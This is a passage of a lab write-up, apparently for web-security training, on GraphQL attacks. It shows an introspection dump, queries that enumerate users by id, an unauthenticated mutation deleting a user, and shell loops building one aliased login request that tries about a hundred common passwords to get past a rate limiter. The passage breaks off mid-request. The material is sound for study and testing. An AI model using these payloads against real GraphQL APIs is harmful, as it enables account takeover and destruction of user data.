          "name": "String",
          "description": "Built-in String",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "User",
          "description": null,
          "fields": [
            {
              "name": "id",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Int",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "username",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Directive",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": "The __Directive type represents a Directive that a server supports.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isRepeatable",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "locations",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "ENUM",
                      "name": "__DirectiveLocation"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__DirectiveLocation",
          "description": "An enum describing valid locations where a directive can be placed",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "QUERY",
              "description": "Indicates the directive is valid on queries.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "MUTATION",
              "description": "Indicates the directive is valid on mutations.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SUBSCRIPTION",
              "description": "Indicates the directive is valid on subscriptions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD",
              "description": "Indicates the directive is valid on fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_DEFINITION",
              "description": "Indicates the directive is valid on fragment definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FRAGMENT_SPREAD",
              "description": "Indicates the directive is valid on fragment spreads.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INLINE_FRAGMENT",
              "description": "Indicates the directive is valid on inline fragments.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "VARIABLE_DEFINITION",
              "description": "Indicates the directive is valid on variable definitions.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCHEMA",
              "description": "Indicates the directive is valid on a schema SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "SCALAR",
              "description": "Indicates the directive is valid on a scalar SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates the directive is valid on an object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "FIELD_DEFINITION",
              "description": "Indicates the directive is valid on a field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ARGUMENT_DEFINITION",
              "description": "Indicates the directive is valid on a field argument SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates the directive is valid on an interface SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates the directive is valid on an union SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates the directive is valid on an enum SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM_VALUE",
              "description": "Indicates the directive is valid on an enum value SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates the directive is valid on an input object SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_FIELD_DEFINITION",
              "description": "Indicates the directive is valid on an input object field SDL definition.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__EnumValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Field",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "args",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__InputValue"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__InputValue",
          "description": null,
          "fields": [
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "type",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "defaultValue",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "isDeprecated",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "Boolean",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "deprecationReason",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Schema",
          "description": "A GraphQL Introspection defines the capabilities of a GraphQL server. It exposes all available types and directives on the server, the entry points for query, mutation, and subscription operations.",
          "fields": [
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "types",
              "description": "A list of all types supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Type"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "queryType",
              "description": "The type that query operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "OBJECT",
                  "name": "__Type",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "mutationType",
              "description": "If this server supports mutation, the type that mutation operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "directives",
              "description": "'A list of all directives supported by this server.",
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "LIST",
                  "name": null,
                  "ofType": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "OBJECT",
                      "name": "__Directive"
                    }
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "subscriptionType",
              "description": "'If this server support subscription, the type that subscription operations will be rooted at.",
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "__Type",
          "description": null,
          "fields": [
            {
              "name": "kind",
              "description": null,
              "args": [],
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "ENUM",
                  "name": "__TypeKind",
                  "ofType": null
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "name",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "description",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "fields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Field",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "interfaces",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "possibleTypes",
              "description": null,
              "args": [],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__Type",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "enumValues",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__EnumValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "inputFields",
              "description": null,
              "args": [
                {
                  "name": "includeDeprecated",
                  "description": null,
                  "type": {
                    "kind": "SCALAR",
                    "name": "Boolean",
                    "ofType": null
                  },
                  "defaultValue": "false"
                }
              ],
              "type": {
                "kind": "LIST",
                "name": null,
                "ofType": {
                  "kind": "NON_NULL",
                  "name": null,
                  "ofType": {
                    "kind": "OBJECT",
                    "name": "__InputValue",
                    "ofType": null
                  }
                }
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ofType",
              "description": null,
              "args": [],
              "type": {
                "kind": "OBJECT",
                "name": "__Type",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByURL",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "specifiedByUrl",
              "description": null,
              "args": [],
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "isDeprecated": true,
              "deprecationReason": "This legacy name has been replaced by `specifiedByURL`"
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "ENUM",
          "name": "__TypeKind",
          "description": "An enum describing what kind of type a given __Type is",
          "fields": null,
          "inputFields": null,
          "interfaces": null,
          "enumValues": [
            {
              "name": "SCALAR",
              "description": "Indicates this type is a scalar. 'specifiedByURL' is a valid field",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "OBJECT",
              "description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INTERFACE",
              "description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "UNION",
              "description": "Indicates this type is a union. `possibleTypes` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "ENUM",
              "description": "Indicates this type is an enum. `enumValues` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "INPUT_OBJECT",
              "description": "Indicates this type is an input object. `inputFields` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "LIST",
              "description": "Indicates this type is a list. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            },
            {
              "name": "NON_NULL",
              "description": "Indicates this type is a non-null. `ofType` is a valid field.",
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "mutation",
          "description": null,
          "fields": [
            {
              "name": "deleteOrganizationUser",
              "description": null,
              "args": [
                {
                  "name": "input",
                  "description": null,
                  "type": {
                    "kind": "INPUT_OBJECT",
                    "name": "DeleteOrganizationUserInput",
                    "ofType": null
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "DeleteOrganizationUserResponse",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        },
        {
          "kind": "OBJECT",
          "name": "query",
          "description": null,
          "fields": [
            {
              "name": "getUser",
              "description": null,
              "args": [
                {
                  "name": "id",
                  "description": null,
                  "type": {
                    "kind": "NON_NULL",
                    "name": null,
                    "ofType": {
                      "kind": "SCALAR",
                      "name": "Int",
                      "ofType": null
                    }
                  },
                  "defaultValue": null
                }
              ],
              "type": {
                "kind": "OBJECT",
                "name": "User",
                "ofType": null
              },
              "isDeprecated": false,
              "deprecationReason": null
            }
          ],
          "inputFields": null,
          "interfaces": [],
          "enumValues": null,
          "possibleTypes": null
        }
      ],
      "directives": [
        {
          "name": "include",
          "description": "Directs the executor to include this field or fragment only when the `if` argument is true",
          "args": [
            {
              "name": "if",
              "description": "Included when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "skip",
          "description": "Directs the executor to skip this field or fragment when the `if` argument is true.",
          "args": [
            {
              "name": "if",
              "description": "Skipped when true.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "Boolean",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        },
        {
          "name": "deprecated",
          "description": "Marks the field, argument, input field or enum value as deprecated",
          "args": [
            {
              "name": "reason",
              "description": "The reason for the deprecation",
              "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
              },
              "defaultValue": "\"No longer supported\""
            }
          ]
        },
        {
          "name": "specifiedBy",
          "description": "Exposes a URL that specifies the behaviour of this scalar.",
          "args": [
            {
              "name": "url",
              "description": "The URL that specifies the behaviour of this scalar.",
              "type": {
                "kind": "NON_NULL",
                "name": null,
                "ofType": {
                  "kind": "SCALAR",
                  "name": "String",
                  "ofType": null
                }
              },
              "defaultValue": null
            }
          ]
        }
      ]
    }
  }
}

Paste the response in GraphQL Visualizer. We find query “getUser(id:Int!)” and the User object (id: Int!, username: String!).

Send a query to extract user information

By manually changing the id, we find that administrator is id=1 and carlos is id=3.

query MyPrecious{
  getUser(id: 3) {
    id
    username
  }
}
GET /api?query=query%20MyPrecious%7B%0A%20%20getUser(id:%203)%20%7B%0A%20%20%20%20id%0A%20%20%20%20username%0A%20%20%7D%0A%7D HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 84

{
  "data": {
    "getUser": {
      "id": 3,
      "username": "carlos"
    }
  }
}

Delete user carlos

From the previous introspection query results, we find mutation “deleteOrganizationUser”.

mutation {
  deleteOrganizationUser(input:{id: 3}) {
    user {
      id
    }
  }
}
GET /api?query=mutation%7B%0AdeleteOrganizationUser(input:%7Bid:3%7D)%7B%0Auser%7B%0Aid%0A%7D%0A%7D%0A%7D HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

This should solve the lab.

Practitioner – Bypassing GraphQL brute force protections

The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time. To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.

  • Click on My account.
  • Enter credentials carlos/whatever (any password).

In Burp Suite, we can see the login request sent to the GraphQL endpoint. Send the request to the Repeater module.

POST /graphql/v1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input":{"username":"carlos","password":"whatever"}}}

Try to manually forge one request that can submit multiple passwords using GraphQL aliases.

POST /graphql/v1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"\n    mutation login($input_test1: LoginInput!, $input_test2: LoginInput!) {\n        result_test1: login(input: $input_test1) {\n            token\n            success\n        }\n result_test2: login(input: $input_test2) {\n            token\n            success\n        }\n    }","operationName":"login","variables":{"input_test1":{"username":"carlos","password":"test1"},
"input_test2":{"username":"carlos","password":"test2"}}}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=<token>; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 224

{
  "data": {
    "result_test1": {
      "token": "MrG6CPjvwdb6KhaqUlja4eWuZfBeWT6O",
      "success": false
    },
    "result_test2": {
      "token": "MrG6CPjvwdb6KhaqUlja4eWuZfBeWT6O",
      "success": false
    }
  }
}

Create a file (passwords.txt) with the provided password list. Use the password file to generate mutation argument list. Use Visual Studio code and replace all carriage returns (Ctrl+Enter in search field) by “nothing”. Remove the last “,”. Update the GraphQL request “mutation login(GENERATED-STRING-HERE)”.

for pass in $(cat passwords.txt); do echo '$input_'$pass': LoginInput!, '; done

Use the password file to generate the result list. Use Visual Studio code and replace all carriage returns (Ctrl+Enter in search field) by one space. Update the GraphQL request in the result section.

for pass in $(cat passwords.txt); do echo 'result_'$pass': login(input: $input_'$pass') {\n token\n success\n }\n'; done

Use the password file provided and generate variables. Use Visual Studio code and replace all carriage returns (Ctrl+Enter in search field) by “nothing”. Remove the last “,”.

for pass in $(cat passwords.txt); do echo '"input_'$pass'":{"username":"carlos","password":"'${pass}'"},'; done

Send the update request.

POST /graphql/v1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"\n    mutation login($input_123456: LoginInput!, $input_password: LoginInput!, $input_12345678: LoginInput!, $input_qwerty: LoginInput!, $input_123456789: LoginInput!, $input_12345: LoginInput!, $input_1234: LoginInput!, $input_111111: LoginInput!, $input_1234567: LoginInput!, $input_dragon: LoginInput!, $input_123123: LoginInput!, $input_baseball: LoginInput!, $input_abc123: LoginInput!, $input_football: LoginInput!, $input_monkey: LoginInput!, $input_letmein: LoginInput!, $input_shadow: LoginInput!, $input_master: LoginInput!, $input_666666: LoginInput!, $input_qwertyuiop: LoginInput!, $input_123321: LoginInput!, $input_mustang: LoginInput!, $input_1234567890: LoginInput!, $input_michael: LoginInput!, $input_654321: LoginInput!, $input_superman: LoginInput!, $input_1qaz2wsx: LoginInput!, $input_7777777: LoginInput!, $input_121212: LoginInput!, $input_000000: LoginInput!, $input_qazwsx: LoginInput!, $input_123qwe: LoginInput!, $input_killer: LoginInput!, $input_trustno1: LoginInput!, $input_jordan: LoginInput!, $input_jennifer: LoginInput!, $input_zxcvbnm: LoginInput!, $input_asdfgh: LoginInput!, $input_hunter: LoginInput!, $input_buster: LoginInput!, $input_soccer: LoginInput!, $input_harley: LoginInput!, $input_batman: LoginInput!, $input_andrew: LoginInput!, $input_tigger: LoginInput!, $input_sunshine: LoginInput!, $input_iloveyou: LoginInput!, $input_2000: LoginInput!, $input_charlie: LoginInput!, $input_robert: LoginInput!, $input_thomas: LoginInput!, $input_hockey: LoginInput!, $input_ranger: LoginInput!, $input_daniel: LoginInput!, $input_starwars: LoginInput!, $input_klaster: LoginInput!, $input_112233: LoginInput!, $input_george: LoginInput!, $input_computer: LoginInput!, $input_michelle: LoginInput!, $input_jessica: LoginInput!, $input_pepper: LoginInput!, $input_1111: LoginInput!, $input_zxcvbn: LoginInput!, $input_555555: LoginInput!, $input_11111111: LoginInput!, $input_131313: LoginInput!, $input_freedom: LoginInput!, $input_777777: LoginInput!, $input_pass: LoginInput!, $input_maggie: LoginInput!, $input_159753: LoginInput!, $input_aaaaaa: LoginInput!, $input_ginger: LoginInput!, $input_princess: LoginInput!, $input_joshua: LoginInput!, $input_cheese: LoginInput!, $input_amanda: LoginInput!, $input_summer: LoginInput!, $input_love: LoginInput!, $input_ashley: LoginInput!, $input_nicole: LoginInput!, $input_chelsea: LoginInput!, $input_biteme: LoginInput!, $input_matthew: LoginInput!, $input_access: LoginInput!, $input_yankees: LoginInput!, $input_987654321: LoginInput!, $input_dallas: LoginInput!, $input_austin: LoginInput!, $input_thunder: LoginInput!, $input_taylor: LoginInput!, $input_matrix: LoginInput!, $input_mobilemail: LoginInput!, $input_mom: LoginInput!, $input_monitor: LoginInput!, $input_monitoring: LoginInput!, $input_montana: LoginInput!, $input_moon: LoginInput!, $input_moscow: LoginInput!) {\n        result_123456: login(input: $input_123456) {\n token\n success\n }\n result_password: login(input: $input_password) {\n token\n success\n }\n result_12345678: login(input: $input_12345678) {\n token\n success\n }\n result_qwerty: login(input: $input_qwerty) {\n token\n success\n }\n result_123456789: login(input: $input_123456789) {\n token\n success\n }\n result_12345: login(input: $input_12345) {\n token\n success\n }\n result_1234: login(input: $input_1234) {\n token\n success\n }\n result_111111: login(input: $input_111111) {\n token\n success\n }\n result_1234567: login(input: $input_1234567) {\n token\n success\n }\n result_dragon: login(input: $input_dragon) {\n token\n success\n }\n result_123123: login(input: $input_123123) {\n token\n success\n }\n result_baseball: login(input: $input_baseball) {\n token\n success\n }\n result_abc123: login(input: $input_abc123) {\n token\n success\n }\n result_football: login(input: $input_football) {\n token\n success\n }\n result_monkey: login(input: $input_monkey) {\n token\n success\n }\n result_letmein: login(input: $input_letmein) {\n token\n success\n }\n result_shadow: login(input: $input_shadow) {\n token\n success\n }\n result_master: login(input: $input_master) {\n token\n success\n }\n result_666666: login(input: $input_666666) {\n token\n success\n }\n result_qwertyuiop: login(input: $input_qwertyuiop) {\n token\n success\n }\n result_123321: login(input: $input_123321) {\n token\n success\n }\n result_mustang: login(input: $input_mustang) {\n token\n success\n }\n result_1234567890: login(input: $input_1234567890) {\n token\n success\n }\n result_michael: login(input: $input_michael) {\n token\n success\n }\n result_654321: login(input: $input_654321) {\n token\n success\n }\n result_superman: login(input: $input_superman) {\n token\n success\n }\n result_1qaz2wsx: login(input: $input_1qaz2wsx) {\n token\n success\n }\n result_7777777: login(input: $input_7777777) {\n token\n success\n }\n result_121212: login(input: $input_121212) {\n token\n success\n }\n result_000000: login(input: $input_000000) {\n token\n success\n }\n result_qazwsx: login(input: $input_qazwsx) {\n token\n success\n }\n result_123qwe: login(input: $input_123qwe) {\n token\n success\n }\n result_killer: login(input: $input_killer) {\n token\n success\n }\n result_trustno1: login(input: $input_trustno1) {\n token\n success\n }\n result_jordan: login(input: $input_jordan) {\n token\n success\n }\n result_jennifer: login(input: $input_jennifer) {\n token\n success\n }\n result_zxcvbnm: login(input: $input_zxcvbnm) {\n token\n success\n }\n result_asdfgh: login(input: $input_asdfgh) {\n token\n success\n }\n result_hunter: login(input: $input_hunter) {\n token\n success\n }\n result_buster: login(input: $input_buster) {\n token\n success\n }\n result_soccer: login(input: $input_soccer) {\n token\n success\n }\n result_harley: login(input: $input_harley) {\n token\n success\n }\n result_batman: login(input: $input_batman) {\n token\n success\n }\n result_andrew: login(input: $input_andrew) {\n token\n success\n }\n result_tigger: login(input: $input_tigger) {\n token\n success\n }\n result_sunshine: login(input: $input_sunshine) {\n token\n success\n }\n result_iloveyou: login(input: $input_iloveyou) {\n token\n success\n }\n result_2000: login(input: $input_2000) {\n token\n success\n }\n result_charlie: login(input: $input_charlie) {\n token\n success\n }\n result_robert: login(input: $input_robert) {\n token\n success\n }\n result_thomas: login(input: $input_thomas) {\n token\n success\n }\n result_hockey: login(input: $input_hockey) {\n token\n success\n }\n result_ranger: login(input: $input_ranger) {\n token\n success\n }\n result_daniel: login(input: $input_daniel) {\n token\n success\n }\n result_starwars: login(input: $input_starwars) {\n token\n success\n }\n result_klaster: login(input: $input_klaster) {\n token\n success\n }\n result_112233: login(input: $input_112233) {\n token\n success\n }\n result_george: login(input: $input_george) {\n token\n success\n }\n result_computer: login(input: $input_computer) {\n token\n success\n }\n result_michelle: login(input: $input_michelle) {\n token\n success\n }\n result_jessica: login(input: $input_jessica) {\n token\n success\n }\n result_pepper: login(input: $input_pepper) {\n token\n success\n }\n result_1111: login(input: $input_1111) {\n token\n success\n }\n result_zxcvbn: login(input: $input_zxcvbn) {\n token\n success\n }\n result_555555: login(input: $input_555555) {\n token\n success\n }\n result_11111111: login(input: $input_11111111) {\n token\n success\n }\n result_131313: login(input: $input_131313) {\n token\n success\n }\n result_freedom: login(input: $input_freedom) {\n token\n success\n }\n result_777777: login(input: $input_777777) {\n token\n success\n }\n result_pass: login(input: $input_pass) {\n token\n success\n }\n result_maggie: login(input: $input_maggie) {\n token\n success\n }\n result_159753: login(input: $input_159753) {\n token\n success\n }\n result_aaaaaa: login(input: $input_aaaaaa) {\n token\n success\n }\n result_ginger: login(input: $input_ginger) {\n 